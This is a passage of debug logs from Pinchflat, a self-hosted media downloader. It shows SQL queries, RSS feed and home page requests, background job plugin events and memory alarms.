s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 19:42:36.845 [debug] QUERY OK source="media_items" db=5.3ms queue=1.4ms idle=24.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 19:42:36.865 [info] Sent 200 in 202ms 19:42:59.924 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:43:00.825 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:43:29.927 [info] {"source":"oban","duration":1716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:43:58.638 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 19:43:59.930 [info] {"source":"oban","duration":1285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:00.828 [info] {"source":"oban","duration":1177,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:44:29.933 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:50.074 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 19:44:50.075 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 19:44:50.077 [debug] QUERY OK source="sources" db=1.9ms queue=0.1ms idle=1561.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 19:44:50.079 [debug] QUERY OK source="media_items" db=1.0ms queue=0.2ms idle=1563.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 19:44:50.081 [debug] QUERY OK source="source_metadata" db=0.3ms idle=694.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 19:44:50.082 [debug] QUERY OK source="media_metadata" db=0.6ms idle=567.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 19:44:50.083 [info] Sent 200 in 9ms 19:44:59.935 [info] {"source":"oban","duration":1221,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:45:00.829 [info] {"source":"oban","duration":490,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:45:29.937 [info] {"source":"oban","duration":1628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:45:59.940 [info] {"source":"oban","duration":1488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:00.831 [info] {"source":"oban","duration":522,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:46:29.942 [info] {"source":"oban","duration":1397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:59.944 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:47:00.833 [info] {"source":"oban","duration":474,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:47:29.947 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:47:34.161 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 19:47:34.161 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 19:47:34.163 [debug] QUERY OK source="sources" db=1.2ms idle=1634.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 19:47:34.165 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=1326.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 19:47:34.167 [debug] QUERY OK source="source_metadata" db=0.6ms idle=638.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 19:47:34.167 [debug] QUERY OK source="media_metadata" db=0.3ms queue=0.1ms idle=639.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 19:47:34.168 [info] Sent 200 in 7ms 19:47:59.950 [info] {"source":"oban","duration":2135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:00.836 [info] {"source":"oban","duration":839,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:48:29.952 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:59.955 [info] {"source":"oban","duration":1382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:49:00.837 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:49:29.958 [info] {"source":"oban","duration":1967,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:49:56.366 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 19:49:56.381 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 19:49:56.383 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=787.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 19:49:56.385 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=789.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 19:49:56.386 [debug] QUERY OK source="source_metadata" db=0.4ms idle=791.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 19:49:56.387 [debug] QUERY OK source="media_metadata" db=0.4ms idle=792.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 19:49:56.388 [info] Sent 200 in 22ms 19:49:59.961 [info] {"source":"oban","duration":1978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:50:00.839 [info] {"source":"oban","duration":486,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:50:29.963 [info] {"source":"oban","duration":1197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:50:59.965 [info] {"source":"oban","duration":1406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:51:00.843 [info] {"source":"oban","duration":1785,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:51:14.765 [info] GET / 19:51:14.765 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 19:51:14.767 [debug] QUERY OK source="settings" db=1.0ms queue=0.2ms idle=1172.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:51:14.769 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.4ms idle=1173.9ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 19:51:14.770 [debug] QUERY OK source="sources" db=0.5ms queue=0.5ms idle=1175.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 19:51:14.772 [debug] QUERY OK source="media_items" db=0.5ms queue=0.4ms idle=201.2ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:51:14.773 [debug] QUERY OK source="media_items" db=0.2ms queue=0.3ms idle=177.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:51:14.775 [debug] QUERY OK source="settings" db=0.6ms queue=0.6ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:51:14.775 [debug] QUERY OK source="settings" db=0.5ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:51:14.777 [debug] QUERY OK source="settings" db=1.0ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:51:14.780 [debug] QUERY OK source="tasks" db=0.5ms idle=7.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:51:14.781 [debug] QUERY OK source="media_items" db=0.2ms idle=8.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:51:14.782 [debug] QUERY OK source="media_items" db=0.7ms idle=6.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 19:51:14.783 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:51:14.785 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=7.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 19:51:14.787 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=5.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 19:51:14.789 [info] Sent 200 in 24ms 19:51:29.967 [info] {"source":"oban","duration":1275,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:51:58.697 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 19:51:59.969 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:52:00.845 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:52:29.973 [info] {"source":"oban","duration":1876,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:52:39.390 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 19:52:39.391 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 19:52:39.393 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=1797.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 19:52:39.395 [debug] QUERY OK source="media_items" db=0.8ms queue=0.7ms idle=1516.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 19:52:39.397 [debug] QUERY OK source="source_metadata" db=0.4ms idle=802.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 19:52:39.398 [debug] QUERY OK source="media_metadata" db=0.6ms idle=803.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 19:52:39.399 [info] Sent 200 in 8ms 19:52:59.975 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:53:00.847 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:53:29.978 [info] {"source":"oban","duration":1381,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:53:58.712 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 19:53:59.980 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:54:00.849 [info] {"source":"oban","duration":520,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:54:29.983 [info] {"source":"oban","duration":1687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:54:55.660 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 19:54:55.661 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 19:54:55.662 [debug] QUERY OK source="sources" db=0.8ms queue=0.2ms idle=409.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 19:54:55.664 [debug] QUERY OK source="media_items" db=0.9ms queue=0.6ms idle=68.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 19:54:55.666 [debug] QUERY OK source="source_metadata" db=0.8ms idle=71.5ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 19:54:55.667 [debug] QUERY OK source="media_metadata" db=0.8ms idle=72.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 19:54:55.668 [info] Sent 200 in 7ms 19:54:59.986 [info] {"source":"oban","duration":1494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:55:00.851 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:55:29.988 [info] {"source":"oban","duration":1378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:55:59.990 [info] {"source":"oban","duration":1427,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:56:00.853 [info] {"source":"oban","duration":472,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:56:29.993 [info] {"source":"oban","duration":1880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:56:59.995 [info] {"source":"oban","duration":1465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:57:00.855 [info] {"source":"oban","duration":438,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:57:29.998 [info] {"source":"oban","duration":1105,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:58:00.001 [info] {"source":"oban","duration":1833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:58:00.857 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:58:07.386 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 19:58:07.387 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 19:58:07.389 [debug] QUERY OK source="sources" db=0.9ms idle=1793.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", 